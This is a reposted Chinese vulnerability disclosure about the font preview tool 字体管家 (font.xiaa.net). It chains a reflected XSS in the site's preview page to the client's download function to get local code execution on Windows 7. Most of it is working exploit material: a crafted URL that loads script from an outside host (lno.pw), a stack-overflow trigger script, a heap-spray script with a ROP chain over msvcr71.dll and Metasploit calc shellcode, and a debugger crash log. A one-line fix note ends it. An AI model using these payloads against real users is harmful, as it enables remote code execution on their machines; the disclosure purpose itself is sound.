来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 晚上设计一个小网站的时候用字体管家在线预览字体,手贱测试了一下。构造XSS中的脚本构造恶意下载连接即可永久性造成本地任意代码执行(Win7)字体管家是一个字体预览工具,官方...
晚上设计一个小网站的时候用字体管家在线预览字体,手贱测试了一下。构造XSS中的脚本构造恶意下载连接即可永久性造成本地任意代码执行(Win7)
字体管家是一个字体预览工具,官方网站http://font.xiaa.net,苦逼的前端设计人员可能会用到这玩意儿,字体管家的字体预览处有XSS漏洞,具体为: http://font.xiaa.net/exe/look.php?str=aaa&size=20&lang=cn
str处可以构造XSS。网页过滤了"、',但是方法不正确,网页把"换为了\",这导致代码还是能直接闭合标签。而且脚本处仍然有很多方法绕过,这个很简单了。
然后,以下是它的下载脚本,这个脚本由网页调用,然后程序接受事件来处理
function font_down(fontname, url,vid,o) { try{ //o.value="安装中."; //o.disabled=true; efontname=encodeURIComponent(fontname); window.external.script_download(efontname, url); fontname = fontname.replace("'","\\\'"); //为了不让'造成破坏 timerArr["t"+vid]=window.setTimeout( "af_setup('"+fontname+"',"+vid+")" , 3000 ); //alert(efontname+"内部"); }catch(e){ alert('您没有安装字体管家,不能安装字体'); o.disabled=false; o.value="安装"; } }
调用类似于:
<input type='button' value=' 安 装 ' onclick="font_down('长城新魏碑体','http://font.xiaa.net/zip/cn/1.zip',1,this);" />
构造:
http://font.xiaa.net/exe/look.php?str="><script src=http://lno.pw/test_4141.js></script>&size=20&lang=cn
进入字体预览-网站在线字库,诱导用户输入查询字符:
"><script src=http://lno.pw/test_4141.js></script>
输入完的同时脚本加载,调用程序的下载模块,由于字符过长发生栈溢出
test_4141.js
var x="A"; var i=1; for(i=39999;i>0;i--) x+="AAAAAAAAAAAA"; font_down(x,x,1,this);
test.js
function padnum(n, numdigits) { n = n.toString(); var pnum = ''; if (numdigits > n.length) { for (z = 0; z < (numdigits - n.length); z++) pnum += '0'; } return pnum + n.toString(); } var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code; var heap_chunks, i, codewithnum; // // !mona rop -m msvcr71.dll // * changed from default mona rop chain output // rop = unescape( "%u2e4d%u7c36" + // 0x7c362e4d, # POP EBP # RETN "%u2e4d%u7c36" + // 0x7c362e4d, # skip 4 bytes "%uf053%u7c34" + // 0x7c34f053, # POP EBX # RETN "%u00c8%u0000" + // 0x000000c8, # 0x000000c8-> ebx (size 200 bytes) * "%u4364%u7c34" + // 0x7c344364, # POP EDX # RETN "%u0040%u0000" + // 0x00000040, # 0x00000040-> edx "%uf62d%u7c34" + // 0x7c34f62d, # POP ECX # RETN "%ue945%u7c38" + // 0x7c38e945, # &Writable location "%u496e%u7c36" + // 0x7c36496e, # POP EDI # RETN "%u6c0b%u7c34" + // 0x7c346c0b, # RETN (ROP NOP) "%u2adb%u7c37" + // 0x7c372adb, # POP ESI # RETN "%u15a2%u7c34" + // 0x7c3415a2, # JMP [EAX] "%u4edc%u7c34" + // 0x7c344edc, # POP EAX # RETN "%ua151%u7c37" + // 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF * "%u8c81%u7c37" + // 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN "%u5c30%u7c34"); // 0x7c345c30, # ptr to 'push esp # ret ' // // ruby msfpayload windows/exec cmd=calc.exe J // windows/exec - 200 bytes // http://www.metasploit.com // VERBOSE=false, EXITFUNC=process, CMD=calc.exe // calc = unescape( "%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + "%u6c61%u2e63%u7865%u0065"); // chunk_size = 0x40000; headersize = 0x24; nopsled = unescape("%u6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll] nopsled_len = chunk_size - (headersize + rop.length + calc.length); while (nopsled.length < nopsled_len) nopsled += nopsled; nopsled = nopsled.substring(0, nopsled_len); code = nopsled + rop + calc; heap_chunks = new Array(); for (i = 0 ; i < 1000 ; i++) { codewithnum = padnum(i,4) + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } font_down(heap_chunks[0],heap_chunks[0],1,this); 0:040> g (1eb8.1eb4): C++ EH exception - code e06d7363 (first chance) http://????? (1eb8.1eb4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05cc0001 ebx=00000000 ecx=41414141 edx=00000437 esi=00458a48 edi=09aee7f1 eip=41414141 esp=0011806c ebp=0ca5bdf0 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 41414141 ?? ??? 0:000> k ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 00118068 41414141 0x41414141 0011806c 41414141 0x41414141 00118070 41414141 0x41414141 00118074 41414141 0x41414141 00118078 41414141 0x41414141 0011807c 41414141 0x41414141 00118080 41414141 0x41414141 00118084 41414141 0x41414141 00118088 41414141 0x41414141 0011808c 41414141 0x41414141 00118090 41414141 0x41414141 00118094 41414141 0x41414141 00118098 41414141 0x41414141 0011809c 41414141 0x41414141 001180a0 41414141 0x41414141 001180a4 41414141 0x41414141 001180a8 41414141 0x41414141
修复方案:
修复XSS,检查下载地址的长度 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com